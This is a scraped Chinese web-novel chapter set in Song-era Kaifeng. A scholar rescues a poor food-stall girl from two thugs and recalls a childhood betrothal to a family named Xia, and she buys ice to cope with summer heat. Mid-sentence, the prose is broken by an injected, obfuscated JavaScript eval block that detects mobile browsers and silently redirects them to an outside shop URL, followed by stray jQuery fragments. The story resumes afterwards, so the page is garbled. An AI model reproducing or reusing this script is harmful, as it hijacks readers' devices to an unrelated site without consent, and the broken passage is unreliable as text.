文趣网 > 其他小说 > 汴京食肆日常 > 6. 第 6 章
    “姑娘,这条巷子走不通。"

    声音清淡,不疾不徐,像一盏凉茶浇在燥热的空气里。

    夏昭垚猛地回头。

    巷口逆着光站了两个人。

    前头那位身量颀长,月白长衫,袖口挽了半寸,手里提着个靛蓝布包,一看就是书肆出来的。

    是那天多给了她二十文的读书人。

    他身后跟着个十五六岁的小厮,圆脸圆眼,正探着脑袋往巷子里张望。

    两个混子显然没料到会有人撞上来,对视一眼,脸色变了变。

    陆砚没看夏昭垚,目光平平落在那两人身上,语气淡得像在说今日天气不错:"两位堵在这里,做什么营生?"

    左边那个嘿了一声:"关你——"

    话音未落,陆砚身后的小厮已经往前迈了一步,把手里的灯笼举高了些,照亮了巷道。

    不是什么威胁的动作,但灯笼亮堂堂的,把这条窄巷照得纤毫毕现。

    陆砚又开口了,声音不高不低:"坊市巡值的铺兵方才就在街口,我那小厮腿脚快得很。"

    他说这话时表情平静极了,甚至还微微偏了偏头,似乎在等一个回答。

    两个混子到底不是亡命之徒,拿了五百文跑腿办事而已,犯不着为这点钱惹上官差。那右边的汉子啐了一口,恶狠狠瞪了夏昭垚一眼,拽着同伴从巷子另一头翻墙跑了。

    脚步声远了,夏昭垚这才觉出后背一层冷汗,腿肚子发软。

    她松开车把,手心一道深红印子。

    陆砚这时才把目光转过来,上下打量了她一眼,没什么多余表情,只微微蹙了蹙眉。

    夏昭垚脑子里头一个念头是,这位公子当真是她的菩萨啊。

    上回多给二十文钱,今日又把她从两个壮汉手底下捞出来。观音座前的金童都没他灵验。

    她抬头看他。

    巷子里光线暗,灯笼晃晃悠悠打在他侧脸上,鼻梁高挺,眉骨锋利,下颌线条干净利落。

    偏偏那双眼睛是冷的,薄薄一层霜似的,看着人的时候没什么温度。

    好看。

    真好看。

    夏昭垚在心里默默竖了个大拇指,面上却规规矩矩道谢:"多谢公子相救。"

    陆砚点了下头,目光落在她身后那辆破旧的小推车上,顿了顿。

    "天色不早了。"他说,"你家在何处?我送你回去。"

    这话说得平铺直叙,不带半点暧昧意味,像在陈述一个合理安排。

    夏昭垚本来想说"不必麻烦",但嘴巴张了张,又咽回去了。

    方才那两个混子翻墙跑的,谁知道会不会绕回来?她不是逞强的性子,命比面子重要。

    "那就……劳烦公子了。"她老老实实点头。

    小厮在后头低声嘀咕了一句什么,被陆砚一个眼神压住了。

    夏昭垚推起车,领着两人七拐八拐穿过两条街,停在一扇半旧的木门前。

    门板掉了漆,门环是铜的,绿锈斑驳。

    她掏出钥匙开了门,侧身让了让:"公子进来坐坐?我去烧壶水。"

    陆砚站在门槛外扫了一眼。

    院子不算小,五六间屋子围出个方方正正的天井。

    但墙根的砖缝里钻出野草,廊柱上的朱漆剥了大半,窗棂有两根断了,拿草绳绑着凑合。

    院子里收拾得整洁,物件归置得齐整,可再怎么归置,也遮不住那股子捉襟见肘。

    夏昭垚难得有些窘迫。

    她垂了垂眼,耳根微微热起来。

    穷是真穷。

    陆砚却没多看,更没露出什么怜悯或不适的神色,只是收回目光,平声道:"不必了,时辰不早,姑娘早些歇息。"

    他顿了顿,又补了一句:"日后走夜路,避开窄巷。"

    说完转身就走了,长衫下摆拂过门槛,干脆利落。

    小厮颠颠跟上去,灯笼光晃了晃,渐渐远了。

    ……

    陆砚走出那条街,步子不急不缓,小厮小跑着跟在后头,嘴里念叨:"公子,咱买了书就该直接回去的,偏偏您非要走那条巷子抄近路……"

    陆砚没搭话。

    他脚步忽然慢了。

    回过头,朝方才那扇木门的方向望了一眼,门早已看不见了,只剩几盏昏黄的巷灯连成一线。

    小厮莫名其妙:"您看什么呢?"

    陆砚收回视线,沉默了几息,忽然问了一句毫不相干的话:"阿福,我是不是……有一门亲事?"

    阿福脚下一绊,差点把灯笼杵地上。

    "啊?"他瞪圆了眼睛,"公子您哪儿来的未婚妻?"

    陆砚没解释,他眉心微动,像在回忆什么久远的事。

    当年祖父还在的时候,带他从金陵来汴京,说是探望故交,那时他还小,记不住太多细节,只记得祖父跟一位老先生在书房里喝茶,谈了很久。

    他被领着在院子里坐,有人给他端了碗冰酪。

    后来祖父从书房出来,面色是少见的舒展,拍了拍他的头,说了句什么。

    什么来着?

    "砚哥儿,你往后有媳妇了。"

    大约是这么句话。

    那会儿他才七八岁,压根不懂什么叫媳妇,只记得回去之后见过一张纸,是祖父锁在匣子里的。

    他偷偷翻开看过一回,上头写着婚约二字,落了两家印章,女方那栏写的是夏。

    夏什么来着?

    记不清了,太久了,后来祖父过世,父亲接手家中事务,汴京和金陵隔的又远,两家便断了来往。

    那婚约也不知压在哪个箱笼底下,再没人提起过。

    他记得幼时来汴京,来的就是这一片。

    而那个卖拌菜的小娘子,也姓夏。

    巧得过了头。

    陆砚眉心微拢,面上仍是一派淡然,步子倒比方才快了几分。

    "回去之后替我研墨。"他淡淡吩咐。

    阿福一愣:"这么晚了还写字?明儿不是还要去书院?"

    "写信。寄回金陵。"

    阿福张了张嘴,想问写什么信,看了眼自家公子那张没什么表情的脸,又把嘴闭上了。

    算了,问了也不会说。

    灯笼光摇摇晃晃拐进另一条街,渐渐融入夜色。

    院子内,夏昭垚关了门,插好门栓,整个人往门板上一靠。

    脚软了。

    方才绷着的那口气一散,后怕涌上来,手指尖都在抖。

    她缓了好半天,走到桶边打了些水擦了把脸,冰凉的水泼上来,算是把魂儿浇回来了。

    坐在院子里吹风的时候,她忽然想起一件事。

    自己好像还没正经谢人家。

    她愣了一会儿,又叹了口气。

    拿什么谢?家里穷得耗子都搬家了,请人喝杯茶都得掂量掂量茶叶够不够。

    人家那通身气派,衣裳料子一看就是上好的松江棉布,送什么不嫌寒碜?

    "算了,先赚钱,赚了钱再说。"

    ……

    第二天,夏昭垚被热醒的。

    太阳还没爬到正头顶,屋里已经闷得像蒸笼。

    她翻了个身,后背一层黏腻的汗,贴着粗布床单,极不舒服。

    她坐起来,低头看看自己身上,原主留下的旧

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17720889|208642||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    单衣,洗了不知多少回,料子薄得透光,但不透气,领口磨出了毛边,袖子短了一截,怎么看怎么寒酸。

    出了门更受打击。

    巷口走过三两个同龄小娘子,穿着轻薄纱衫,颜色淡雅,袖口领口绣着细碎花样,走动间衣料飘飘,光看着都觉得凉快。

    夏昭垚低头看看自己这身泛黄发硬的破布衣裳。

    行吧。

    今天卖完东西就去买纱衣。

    她挽了头发出门,推着车去了西巷摆摊,才站了半个时辰,后背就湿透了。

    日头毒辣得不像话,照得地面都泛白光,热浪一阵阵往上蒸。

    路上行人少了大半,偶尔过来几个,也是匆匆走过,连停下看一眼的心思都没有。

    夏昭垚扇着手当扇子,越扇越热。

    和旁边卖馉饳儿的大哥知会一声帮忙看着,自个儿小跑到不远处一个卖饮子的摊前。

    "老板,来两杯酸梅汤。要冰镇的。"

    "冰镇额外加五文一杯。"

    "加。"

    一口下去,冰凉酸甜的液体顺着喉咙滑进胃里,五脏六腑都叹了口气。

    一边喝一边感慨,说好的古代夏天凉快呢?

    穿越小说里不都写古代没有温室效应、没有热岛效应、树多人少、天清气朗、凉风习习?

    凉快个鬼。

    这才七月,就热成这样,她都不敢想八月会怎样。

    该不会得热射病倒在街边吧?那她这糖水事业还没起步就要谢幕了。

    果不其然,今天白天生意惨淡。

    到申时收摊一算,比昨天整整少了两百文。

    夏昭垚叹了口气。

    不能坐以待毙。

    她抬脚就去了冰铺。

    汴京城里卖冰的铺子有好多,单单是西巷这里就有好几家卖的,她挑了离摊位最近的一间,问了价。

    "碎冰一筐,一百五十文。"

    比她想的便宜。

    夏昭垚当场掏钱买了一筐,让伙计帮她搬到推车上。

    回了家,她把碎冰拿瓦盆装了,搁在床边。

    凉意丝丝缕缕漫开来,比什么扇子都管用。

    她往竹席上一躺,四仰八叉,发出一声满足至极的喟叹。

    活过来了。

    次日天没亮她就爬起来了。

    做生意用的冰得起早去抢,这时节冰铺还没开门就有人排队,去晚了只能干瞪眼。

    夏昭垚揉着眼睛出门,到了铺子前一看,好嘛,前头已经排了七八个人。

    好在她来得不算晚,等了两刻钟,买了一筐碎冰回来。

    用来镇糖水和拌菜。

    碎冰铺在底下,凉丝丝的寒气往上走,拌菜搁在里头,不仅不怕变味儿,客人拿到手里还冰冰凉凉。

    不过白天的生意不怎么样,日头太毒了,街上人影稀疏,夏昭垚守着摊子,像块融化的年糕一样瘫在凳子上,有一搭没一搭地摇着蒲扇。

    但入了夜就不一样了。

    暑气一退,人全涌出来。

    夜市的热闹劲儿比白天翻了几番。灯笼挂满街头,人头攒动,叫卖声此起彼伏。

    夏昭垚的摊子前排起了小队。

    全是买糖水的,因为夏昭垚的糖水真的很甜。

    还便宜。

    她忙得脚不沾地,手上动作飞快,舀糖水、盛拌菜、收铜板,一气呵成。

    等着东西卖的差不多的时候,一个穿靛蓝褙子的妇人从巷口走过来,步子不急不慢,眉眼间带着精明相。

    "你就是卖冰晶糖水的小娘子?"

    "是我。"夏昭垚站起来,"您是?"